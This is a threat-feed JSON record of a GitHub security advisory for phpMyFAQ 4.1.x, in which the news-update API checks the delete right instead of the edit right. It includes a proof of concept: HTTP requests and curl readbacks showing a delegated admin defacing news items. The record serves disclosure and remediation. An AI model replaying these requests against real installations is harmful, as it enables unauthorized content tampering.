{"schema":"threatline.record/2","record":{"id":"GHSA-287v-6c6j-x9f7","aliases":["GHSA-287v-6c6j-x9f7"],"summary":"Incorrect authorization on `PUT /admin/api/news/update`: `NEWS_DELETE` is accepted where `NEWS_EDIT` is required","details":"### Summary\r\n\r\n**Incorrect Authorization (CWE-863): `PUT /admin/api/news/update` is gated on `NEWS_DELETE` where every sibling in the same controller uses the right that matches the action.** A delegated admin holding `addnews` and `delnews` but **not** `editnews` rewrites the header, body, author, link and active flag of any news item, which then renders on the public front page and the public REST API.\r\n\r\nThis is fixed on `main` by `9d06e8752` (2026-04-10) and was **never backported to 4.1**.\r\n\r\n### Details\r\n\r\n```php\r\n// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/NewsController.php:122  (4.1.8 and origin/4.1 HEAD)\r\npublic function update(Request $request): JsonResponse\r\n{\r\n    $this->userHasPermission(PermissionType::NEWS_DELETE);   // <- should be NEWS_EDIT\r\n```\r\n\r\n`main` HEAD line 103 reads `$this->userHasPermission(PermissionType::NEWS_EDIT);`.\r\n\r\n**The CSRF token is not a barrier for this actor.** `Administration\\NewsController::getBaseTemplateVars()` calls `Token::getTokenString('update-news')` on *every* news page, including `/admin/news/add`, which `NEWS_ADD` already grants. `Token::setSession()` writes the same random value into the session and into a `pmf-csrf-token-<md5('update-news')[0:10]>` cookie at path `/admin`, so the actor reads it out of its own cookie jar.\r\n\r\n### Proof of concept\r\n\r\nphpMyFAQ **4.1.8**, fresh install. Actor `rnews`, rights `[addnews, delnews]`, not `editnews`, not super admin.\r\n\r\nSetup as `admin`: `POST /admin/api/index.php/news/create` → news `id=1`, `header=ORIGINAL-HEADER-N1`, `artikel=ORIGINAL-BODY-N1`, `author_name=Admin`.\r\n\r\n```\r\n[rnews] GET /admin/index.php/news/add               -> 200   (holds NEWS_ADD)\r\n        update-news token read from own cookie jar  -> 40ac6f1656c977bcf881295edcfb3c95\r\n\r\n[rnews] PUT /admin/api/index.php/news/update\r\n        {\"csrfToken\":\"40ac…\",\"id\":1,\"newsHeader\":\"PWNED-HEADER-N1\",\r\n         \"news\":\"PWNED-BODY-N1 injected by a user without editnews\",\"authorName\":\"rnews\"}\r\n        -> 200 {\"success\":\"The news entry has been successfully updated.\"}\r\n```\r\n\r\nRead back through a **separate, unauthenticated** path — the public REST API and the public home page:\r\n\r\n```\r\n$ curl -s http://localhost:8088/api/v3.1/news\r\n[{\"id\":1,\"lang\":\"en\",\"header\":\"PWNED-HEADER-N1\",\r\n  \"content\":\"PWNED-BODY-N1 injected by a user without editnews\",\"authorName\":\"rnews\",\r\n  \"authorEmail\":\"rnews@example.test\",\"active\":true,\r\n  \"url\":\"http://localhost/news/1/en/pwned_header_n1.html\"}]\r\n\r\n$ curl -s http://localhost:8088/index.php | grep -oE 'PWNED-[A-Z-]+-N1'\r\nPWNED-BODY-N1\r\nPWNED-HEADER-N1\r\n```\r\n\r\nDatabase row after the write, read independently (`faqfaqnews`):\r\n\r\n```\r\nid  header             active  artikel                                            author_name\r\n1   PWNED-HEADER-N1    y       PWNED-BODY-N1 injected by a user without editnews   rnews\r\n```\r\n\r\n**Controls.**\r\n\r\n*A — the actor really lacks `NEWS_EDIT`, and the refusal names it:*\r\n\r\n```\r\n[rnews] POST /admin/api/index.php/news/activate  -> 403 {\"error\":\"Forbidden\"}      (guard: NEWS_EDIT)\r\n[rnews] GET  /admin/index.php/news/edit/1        -> 403 User has no \"NEWS_EDIT\" permission.  (AbstractController.php:236)\r\n```\r\n\r\n*B — the mirror direction, proving the guard really is `NEWS_DELETE`:* `reditnews`, holding only `editnews`, is refused the very same write.\r\n\r\n```\r\n[reditnews] GET /admin/index.php/news/add         -> 403   (no NEWS_ADD)\r\n[reditnews] PUT /admin/api/index.php/news/update  -> 403 {\"error\":\"Forbidden\"}\r\n```\r\n\r\n*C — no test operation granted the right under test.* Rights were assigned once by `admin` before the run and re-read from `/admin/api/user/permissions/5` → `[10,12]`; `11` (`editnews`) is absent throughout, and `isSuperAdmin: false`.\r\n\r\n*D — `main` is not affected.* The same request on `main` HEAD returns `403 … \"User has no \\\"NEWS_EDIT\\\" permission.\"`, matching its source.\r\n\r\n### Impact\r\n\r\n`CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N` — **2.7 Low**.\r\n\r\n`PR:H` because the actor needs a delegated admin account holding two of the three news rights — `addnews` for the token, `delnews` for the guard. `I:L` — arbitrary rewrite of the header, body, author, link and active flag of any news item, rendering on the public front page, so a content-integrity and defacement primitive confined to one content type. If you treat \"news moderator\" as a low-privileged role the vector is `PR:L` and the score 4.3 Medium; I report the conservative one.\r\n\r\n### Suggested remediation\r\n\r\nOne-line backport of `9d06e8752` to the 4.1 branch: `PermissionType::NEWS_DELETE` → `PermissionType::NEWS_EDIT` at `Api/NewsController.php:122`.\r\n\r\n### What this is not\r\n\r\nNot pre-auth, and not reachable by an ordinary member: `NEWS_ADD` and `NEWS_DELETE` are both required, so the actor is a delegated news administrator.\r\n\r\nNot a stored-XSS claim. News content renders unescaped by design for privileged authors; I demonstrate that the *wrong* privilege level can write it, and make no claim about the escaping itself.\r\n\r\n**Not a duplicate of `GHSA-6w97-49h8-58wh`, and that advisory's own text is the evidence.** Its root-cause section reads: *\"The corresponding mutation APIs enforce the correct permissions (`Api/NewsController.php` requires `NEWS_EDIT`), confirming the intended privilege level.\"* That sentence is true on `main` and **false on 4.1** — at tag `4.1.8` the same method reads `$this->userHasPermission(PermissionType::NEWS_DELETE);`. So the mutation API was used there as the evidence for the intended privilege level, and on the stable branch it is the thing that is wrong.\r\n\r\nAffected: the whole 4.1 line including **4.1.8** and `origin/4.1` HEAD `0245df72b`. Not affected: `main` / 4.2.0-alpha. Introduced by `8154fdf76` (*\"refactor: moved news to twig\"*, #2791).\r\n","categories":["Unclassified"],"product":"phpmyfaq/phpmyfaq","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-287v-6c6j-x9f7","source_modified_at":"2026-10-03T11:28:54Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"range":">= 4.1.0, <= 4.1.8"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-287v-6c6j-x9f7","source_modified_at":"2026-10-03T11:28:54Z","fetched_at":"2026-10-26T06:00:26.954813Z","package":{"ecosystem":"composer","name":"phpmyfaq/phpmyfaq"},"version":"4.1.9"}],"cvss":2.7,"severity":"Low","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T11:28:54Z","modified_at":"2026-10-03T11:28:54Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-287v-6c6j-x9f7","fetched_at":"2026-10-26T06:00:26.954813Z","source_modified_at":"2026-10-03T11:28:54Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T11:28:54Z","content_hash":"979537170b9cae9517d48140900d6aac6e5a9762a970a3e1433c3843d81ce109"}}
